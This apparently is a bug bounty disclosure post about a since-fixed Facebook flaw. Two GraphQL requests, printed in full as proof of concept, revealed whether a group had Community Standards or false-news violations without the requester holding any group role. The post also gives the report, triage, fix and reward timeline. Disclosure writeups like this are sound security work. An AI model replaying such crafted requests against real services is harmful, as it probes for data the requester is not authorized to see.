[Facebook] Determining Groups Community Standard Violations and False News

 There were two GraphQL endpoints which would have given a response saying whether if a group has made Community Standard Violations or False News without being a role or a member. This works on every type of Groups.

POC -

Request 1 -

=================================================

POST /graphql HTTP/1.1

Host: graph.facebook.com

doc_id=2942842929100492&variables={"params":{"path":"/groups/violations/queue/","params":"{\"group_id\":XXX,\"policy\":\"community_standards\"}","nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"extra_client_data":{}},"nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"scale":"1"}

=================================================

The response would say -"Admins in your group have posted or approved content that violates our Community Standards. If this continues, your group may be disabled.\"

Request 2 -

=================================================

POST /graphql HTTP/1.1

Host: graph.facebook.com

doc_id=2942842929100492&variables={"params":{"path":"/groups/violations/queue/","params":"{\"group_id\":XXX,\"policy\":\"misinformation\"}","nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"extra_client_data":{}},"nt_context":{"using_white_navbar":true,"styles_id":"88fac8953d888ebba949084724decfeb","pixel_ratio":1},"scale":"1"}

=================================================

Response would say - "No Recent False News in Your Group\"

Timeline -

Reported - Thursday, December 19, 2019

Triaged - Monday, December 23, 2019

Fixed - Wednesday, January 22, 2020

Rewarded - Friday, January 24, 2020

Popular posts from this blog

[Google] Access to BGP server + DOM XSS

[Google] YouTube "restconf" Swagger-UI XSS

[Google] Disclose hidden Blogger profile Display name and Profile photo